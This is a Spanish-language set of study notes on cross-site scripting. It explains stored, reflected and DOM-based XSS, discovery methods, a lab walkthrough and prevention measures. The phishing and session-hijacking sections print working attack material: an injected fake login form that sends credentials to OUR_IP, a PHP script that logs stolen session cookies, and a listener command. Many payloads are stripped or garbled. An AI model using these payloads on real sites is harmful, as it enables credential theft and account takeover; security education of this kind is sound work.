XSS (Cross-Site Scripting)
A medida que las aplicaciones web se vuelven mas sofisticadas, las vulnerabilidades tambien.
Las vulnerabilidades de tipo XSS Cross-Site Scripting se aprovechan de un defecto en la
sanitizacion al momento de escribir codigo javiscript a la pagina y ejecutarlo en el lado del
cliente.
Una aplicacion web comun, recibe el codigo HTML del back-end y lo renderiza del lado del
navegador web cliente. Cuando una entrada (input) no es bien sanitizada, un usuario malicioso
puede agregar codigo javascript (por ejemplo: en un campo de comentario o respuesta),
cuando el otro usuario visita la pagina donde esta inyectado el codigo javascript malicioso, este
se interpreta y ejecuta del lado de la victima.
Este tipo de vulnerabilidades unicamente se ejecutando del lado del cliente, por lo que no
afectan a los servidores back-end. Estas vulnerabilidades solo afectan al usuario victima el cual
esta ejecutando el codigo javascript. Usualmente suelen encontrarse en aplicaiciones web,
esto equivale a un riesgo medio (low impact + high probability = medium risk)
XSS Attacks
Las vulnerabilidades de tipo Cross-Site Scripting (XSS) pueden englobar una gran cantidad de
ataques, entre los cuales pueden ser algo como robar las cookies de sesion de otro usuario o
hacer que el navegador web de la victima, realiza llamadas API maliciosas. Tambien existen
ataques de Minado de Criptomonedas o desplegar anuncios (ads)
Los ataques XSS estan limitados a ejecutar codigo dentro del navegador web, estan limitados
por el motor de Javascript (JS engine). Gracias a esto no se puede ejecutar codigo Javascript a
nivel de sistema. Pero si un atacante con habilidad consigue encontrar una vulnerabilidad del
binario en el navegador web, se puede utilizar para realizar un ataque de XSS para ejecutar
codigo javascript en el navegador cliente y posteriormente salir del sandbox del navegador
para ejecutar codigo en el sistema victima.
Types of XSS
Stored (persistent) XSS
Este es el tipo de XSS mas critico, ya que ocurre cuando el input del usuario es
almacenado en el servidor back-end y luego se muestra al recuperarlo (ejemplo:
Comentarios, Posts)
Reflected (Non-Persistent) XSS
Este sucede cuando el input del usuario se muestra en la pagina despues de ser
procesado por el servidor back-end pero no se almacena (ejemplo: busquedas o
errores de mensaje)
DOM-based-XSS
Este tipo de XSS tampoco es persistente ya que ocurre cuando el input del usuario
se muestra directamente en el navegador web y se procesa completamente del lado
del cliente, sin tener que llegar al servidor back-end (ejemplo: A traves de parametros
HTTP del lado del cliente o anchor tags).
Stored XSS
En este ejemplo usaremos el payload <script>alert([Link])</script> el cual sirve
para saber donde se esta ejecutando nuestro codigo javascript.
Podemos confirmar que se esta ejecutando, viendo el código fuente de la pagina
Las aplicaciones web modernas utilizan cross-domain IFrames para manejar el input del
usuario, esto significa que si una pagina web es vulnerable a XSS, la aplicacion web
principal no se vera afectada por esa vulnerabilidad. Por eso es que podemos utilizar el
payload de [Link] para saber donde es que se esta ejecutando el codigo javascript
Cross-Domain IFrame: Es un elemento HTML que permite incrustrar una pagina web
dentro de otra que carga contenido desde un dominio diferente al del sitio web principal.
Esto puede llegar a ser util ya que puede cargar contenido de terceros como videos de
youtube, widgets de redes sociales o anuncios. Sin embargo este puede ser un desafio
para la seguridad ya que los navegadores web utilizan el Same-Origin Policy la cual sirve
para que un documento o un script cargado desde un origen, no pueda acceder a otros
recursos fuera de el dominio de origen.
Debido a que los navegadores web modernos bloquean en su mayoria la funcion alert() hay
mas payloads los cuales podemos utilizar, como: '<'plaintext'>' el cual detendra la renderizacion
del codigo HTML que viene despues de la etiqueta y lo despliega como texto plano. Otro tipo
de payload es '<'script'>'print()</script'>' el cual hara aparecer el cuadro de dialogo de imprimir
y es muy poco probable que este bloqueado por el navegador.
Hay muchos tipos de XSS almacenados. El lugar donde se esten almacenando los datos
dentro de la respuesta de la aplicacion, determina que tipo de payload es requerido para la
explotacion y su impacto.
Si la aplicacion realiza validaciones y otros procesos a la data antes de ser almacenada, o en
el punto donde los datos son incorporados en la respuesta, esto afectara que tipo de payload
XSS es necesario.
Para encontrar vulnerabilidades XSS almacenadas, tenemos que testear todos los puntos de
entrada (entry points) en los cuales un atacante puede controlar los datos y todos los puntos de
salida (exit points) en la cual esos datos pueden aparecer en la respuesta de la aplicacion.
Parametros y otro tipo de datos en la query URL y cuerpo del mensaje
La ruta del archivo en la URL
Cabeceras HTTP las cuales no puden ser explotadas como en un XSS Reflected
Cualquier ruta fuera de banda (out-of-band) la cual puede ser utilizada por un atacante
para para enviar informacion a la aplicacion.
Los puntos de salida de un ataque XSS Stored, son todas las posibles respuestas HTTP que
se devuelven a cualquier tipo de usuario de la aplicacion en cualquier situacion
Reflected XSS
Este aparece cuando una aplicacion recibe datos en una peticion HTTP e incluye esos datos
en la respuesta inmediatamente.
Ejemplo: Si un sitio web tiene una busqueda por categoria
Hay variedad de XSS Reflejados. La ubicacion de los datos reflejados en la respuesta de
la aplicacion determina que tipo de payload es necesario para su explotacion y que tipo
de impacto tiene.
Como encontrar vulnerabilidades XSS reflejadas:
Comprobar cada punto de entrada.
Enviar valores alfanumericos random: Esto para saber que caracteres estan siendo
reflejados
Determinar el contexto donde se esta reflejando: Esto puede ser dentro de HTML tags,
strings javascript, etc.
Comprobar con payloads diferentes
Comprobar con payloads alternativos
Comprobar el ataque en el navegador
Una forma de comprobar o saber si puede ser vulnerable a inyecciones XSS Reflejadas, es si
vemos que nuestro payload se refleja en la respuesta (puede ser un mensaje de error)
Si esta es una vulnerabilidad no persistente, como podemos enviarselo a la victima?
Analizamos como es que esta tratando nuestro payload y vemos que se lo pasa como
parametro a la URL.
Por lo que para que se lo logremos enviar a un usuario victima, tenemos que enviarle la URL
incluyendo nuestro payload malicioso.
Logrando asi que cuando la victima acceda al link que le hemos enviado, se ejecute nuestro
codigo javascript malicioso
DOM XSS
DOM XSS es procesado completamente del lado del cliente utilizando javascript. Este tipo de
XSS ocurre cuando codigo Javascript malicioso se usa para cambiar el codigo fuente de la
pagina a traves del DOM (Document Object Model)
Para saber como es que esta tramitando la peticion, abrimos las herramientas de desarrollador
y vemos que no esta haciendo ninguna peticion al backend o a algun sitio.
Tambien podemos ver que el parametro de entrada esta usando un # para el item que nosotros
hemos agregado, esto quiere decir que es un parametro utilizado del lado del cliente que se
procesa completamente en el navegador web.
Esto quiere decir que el parametro task se utiliza unicamente en el navegador web, por lo
que si existiera una vulnerabilidad de tipo XSS seria una vulnerabilidado XSS Dom-based
ya que este solo esta modificando el codigo fuente de la aplicacion del lado del cliente
Source
Es el objeto Javascript que toma el input del usuario, y puede ser cualquier parametro input
como un parametro en la URL o un campo de input de usuario.
Sink
Es la funcion que escribe el input del usuario en el DOM Object que esta en la pagina. Si la
funcion del Sink no sanitiza apropiadamente el input del usuario, este puede ser vulnerable a
XSS. Algunas de las funciones Javascript mas usadas para escribir en los DOM Objects son:
[Link]()
[Link]
[Link]
La libreria de JQuery tambien tiene sus funciones para escribir en un DOM Object las cuales
son:
add()
after()
append()
En este caso, ya que la vulnerabilidad esta dentro del DOM y lo escribe con la funcion
innerHTML no podremos usar las etiquetas </script ya que por razones de seguridad esta
funcion no las acepta.
Pero podemos utilizar muchisimas variantes de payloads
Un ejemplo de payload:
<img src=x onerror=alert([Link])>
De igual manera que con un XSS Reflejado, para entregarle esto a una victima, basta con
copiar el link incluyendo el payload malicioso para que este se ejecute en su navegador web y
ejecute el codigo javascript.
XSS Discovery
La manera automatica de buscar vulnerabilidades XSS es usando tools como XSStrike ,
BruteXSS y XSSer
La manera manual de buscar vulnerabilidades de tipo XSS depende mucho del nivel de
analisis de codigo del operador.
XSS Payloads
La manera mas basica de testear los payloads, es comprobando 1 por 1 de una lista de
payloads como la de Payloadallthethings, unicamente copiando y pegando los payloads en los
campos input y ver si alguno despliega una ventana (alert).
Cross-Site Scripting (XSS) puede ser inyectado en cualquier input de la pagina HTML, el
cual no tiene que ser exclusivamente un input HTML, tambien puede ser en las cabeceras
HTTP como Cookie o User-Agent (Cuando sus valores son desplegados en la pagina web)
Nos es recomendable copiar y pegar cualquier tipo de payload en un campo de entrada
aunque este sea vulnerable,
Defacement
Cuando un atacante realiza un defacement del sitio web, usualmente utiliza 3 elementos HTML
para cambiar la forma del sitio web.
Background color [Link]
Background [Link]
Page title [Link]
Page text [Link]
Background Color
Para este ejemplo utilizamos un stored XSS
Con el siguiente payload cambiamos el fondo del elemento vulnerable
Fondo cambiado
Otro metodo puede ser utilizando una imagen para el fondo utilizando el siguiente payload
Changing Page Title
Co el siguiente payload podemos cambiar el titulo de la pagina web
Phishing
Ejemplo para robar credenciales
Una vez hayamos encontrado una vulnerabilidad tipo XSS, podemos utilizarla para realizar
phishing y modificar la pagina web para crear un panel de LogIn falso y que la victima nos
brinde sus credenciales
Payload Utilizado:
'><script>[Link]('<h3>Please login to continue< h3><form
action=http: OUR_IP><input type="username" name="username"
placeholder="Username"><input type="password" name="password"
placeholder="Password"><input type="submit" name="submit" value="Login">
< form>');[Link]('urlform').remove();< script><!- -
[Link] ( ): Utilizamos esta funcion de javascript para poder inyectar etiquetas
HTML y lograr modificar el sitio web para aparentar un panel de login
action=[Link] Le indicamos nuestra direccion IP para que al presionar en el boton de
Login envie todas las credenciales hacia nuestra direccion IP
[Link] ( ).remove( ): Utilizamos esta funcion para eliminar ciertos
campos de la pagina web original y que esta se vea mas limpia y mas confiable.
Site previamente modificado para hacer parecer que es un panel de login
Abrimos un servidor por el puerto 80 que este a la escucha por conexiones http para obtener
las credenciales
Esta forma de obtener las credenciales no es muy versatil, ya que cuando una victima
agrega las credenciales y presiona en el boton Login, aparece que no hay conexion, por lo
que puede llegar a dar sospechas. Para esto podemos hacer un script en PHP el cual haga
que la momento de que una victima presione el boton, lo redirija a la pagina original
Creamos un archivo [Link] el cual sera un script que se encargara de re-dirigir al usuario
victima a la pagina principal luego de proporcional sus credenciales en la web modificada con
XSS. Guarda las credenciales en el archivo [Link]
Posteriormente, nos ponemos en escucha con un servidor php con el siguiente comando
sudo php -S [Link]:80
Ingresamos las credenciales
Nos redirige exitosamente a la pagina principal
Revisamos la peticion en nuestro servidor PHP y vemos que exitosamente obtuvimos las
credenciales de acceso del usuario victima.
Session Hijacking
Las vulnerabilidades XSS a Ciegas (Blind XSS) usualmente ocurren en formularios a los cuales
solo ciertos usuarios pueden acceder (Admin), Estos pueden ser:
Formularios de Contacto
Reviews
User Details
Support Tickets
HTTP User-Agent Header
Cuando tenemos una Blind XSS y no sabemos si es vulnerable o no, una forma de saberlo es
que si es vulnerable haga una peticion a un servidor externo controlado por le atacante.
Para saber que campo de los que estemos inyectando es el vulnerable, podemos cambiar el
nombre del [Link] alojado en el servidor atacante por el nombre del campo en el que
estemos testeando para saber que campo es el vulnerable. Por lo que si recibimos una peticion
hacia username sabremos que campo username es el vulnerable.
Utilizando el siguiente payload podemos organizar las cookies si es que hay muchas cookies
las cuales robar
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("[Link]", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie:
{$cookie}\n");
fclose($file);
}
}
?>
Ejemplo
Una vez encontrada la vulnerabilidad, hacemos una peticion hacia un servidor controlado por el
atacante con un script mailicioso llamado [Link]
El script [Link] malicioso al cual haremos una peticion, contiene otro script malicioso el cual
crea una imagen erronea en la pagina web usando como fuente una peticion http hacia el
servidor malicioso en escucha del atacante el cual le sumamos la cookie de sesion
Script [Link] encargado de organizar la cookie de sesion recibida por la peticion http hecha
desde el [Link]
Servidor controlado por el atacante en escucha recibiendo la cookie de sesion:
Logrando acceder como el usuario admin utilizando un robo de cookies a traves de una
vulnerabilidad XSS
Exploiting
Una manera de aprovechar la vulnerabilidad XSS es para robar cookies de sesion. Podemos
usar esta vulnerabilidad para enviar las cookies de sesion de un usuario victima hacia un
dominio controlado por el atacante, para posteriormente usar la cookie de sesion para
impersonar a la victima.
Algunas limitaciones de esto pueden ser:
La victima puede que no este loggeada
Las aplicaciones pueden usar la flag Httponly para esconder las cookies de javascript
Las sesiones pueden estar limitadas a direcciones ip o geolocalizaciones
La sesion puede terminar (time out) antes de que un atacante pueda robarla
XSS Prevention
Para prevenir ataques Cross-Site Scripting nos tenemos que enfocar en el Source el cual
puede ser un input de usuario y el Sink el cual se encarga de desplegar los datos. En estos dos
componentes nos tenemos que enfocar a la hora de securizar tanto en el front-end como en el
back-end
Front-end
Para añadir una capa extra de sanitizacion al input, podemos utilizar la libreria DOM Purify
para esccapar los caracteres especiales en un input de usuario.
Esto lo que hace es añadir una backslash al inicio de cada caracter especial, esto ayuda para
preveer ataques como DOM XSS
Tambien hay que asegurarse en nunca usar el input del usuario dentro de ciertos tags HTML,
como:
Tambien tenemos que evitar el uso de Javascript que permita el cambio de raw text de los
campos HTML
Y las siguientes funciones JQuery
Back-end
Sanitizar de lado del back-end tambien es importante ya que las medidas inpuestas en el front-
end pueden ser bypasseadas dependiendo del metodo HTTP (GET, POST)
Para sanitizar del lado del back-end NodeJS, tambien se puede usar DOMPurify como libreria.
Encodear los caracteres especiales desde el output a su forma HTML Code, puede ser usando
htmlspecialchars o htmlentities.
Por ultimo, securizar las configuraciones del servidor
Utilizar un Web Application Firewall (WAF) ya que este puede reducir significativamente la
explotacion de vulnerabilidades XSS
Quick Reminder: Un ejemplo de diferencia entre un XSS reflejado y un XSS almacenado,
es que el XSS reflejado tomando de ejemplo una barra de busqueda, le pasamos un codigo
javascript malicioso y ya que por la naturaleza de la funcion, se refleja el contenido de
manera instantanea. Un XSS almacenado, por otro lado, un ejemplo seria en un campo de
comentario, ya que este almacena el comentario para que los usuarios dentro de la misma
aplicacion tambien puedan visualizar el contenido y por ende ejecutan el codigo javascript
con cada uno de los usuarios que visualiza el comentario malicioso.
Cross-Site Scripting Context
Cuando estamos realizando pruebas para XSS Reflected y XSS Stored, es importante
identificar el contexto de estas
Cualquier tipo de validacion o procesamiento que se le este haciendo a los datos por la
aplicacion
La localizacion en la respuesta en la que los datos controlados por el atacante aparecen
Basado en esto, se pueden escojer diferentes payloads para comprobar si son vulnerables.
XSS Entre etiquetas HTML
Cuando el contexto del XSS esta entre etiquetas HTML, es necesario introducir nuevas
etiquetas HTML especialmente diseñadas para la ejecucion de codigo javascript, como:
Lab: Reflected XSS into HTML context with most tags and attributes blocked
Este payload significa lo siguiente:
<iframe : todo se engloba dentro de una etiqueta iframe para cargar la pagina de la web
vulnerable dentro de otra web ( en este caso solo se mostraria la misma web )
src= : le indicamos la fuente de donde queremos que tome la web (en este caso seria la
pagina web vulnerable)
?search= : parametro vulnerable, previamente descubierto y fuzzeado por tags y atributos
para saber cuales son los que acepta
onload=[Link]='100px' : etiqueta la cual permite hacer la funcionalidad de
resize por lo que gracias a esta se hacer el resize automatico, sin tener interaccion con un
usuario, usandolo como disparador del atributo print() para demostrar que es vulnerable a
XSS
Cheatsheet
PAYLOADS:
COMMANDS:
[Link]